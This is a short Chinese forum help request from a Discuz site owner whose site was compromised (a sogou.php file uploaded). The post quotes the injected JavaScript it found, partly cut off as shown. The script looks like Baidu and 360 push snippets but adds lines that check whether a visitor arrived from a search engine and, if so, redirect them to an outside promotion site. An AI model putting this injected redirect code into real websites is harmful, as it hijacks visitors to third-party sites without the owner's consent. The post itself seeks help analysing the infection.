网站被挂马上传sogou.php,一行JS代码导致的Discuz网站被挂马分析求助

[JavaScript] 纯文本查看 复制代码function () {

/*百度推送代码*/

var bp = document.createElement('script');

bp.src = '//push.zhanzhang.baidu.com/push.js';

var s = document.getElementsByTagName("script")[0];

s.parentNode.insertBefore(bp, s);

/*360推送代码*/

var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';

document.write('

})();

document.writeln("

document.writeln("var s=document.referrer");

document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");

document.writeln("location.href=\"http://www.w668686.com/promotion_list.htm\";");

document.writeln("");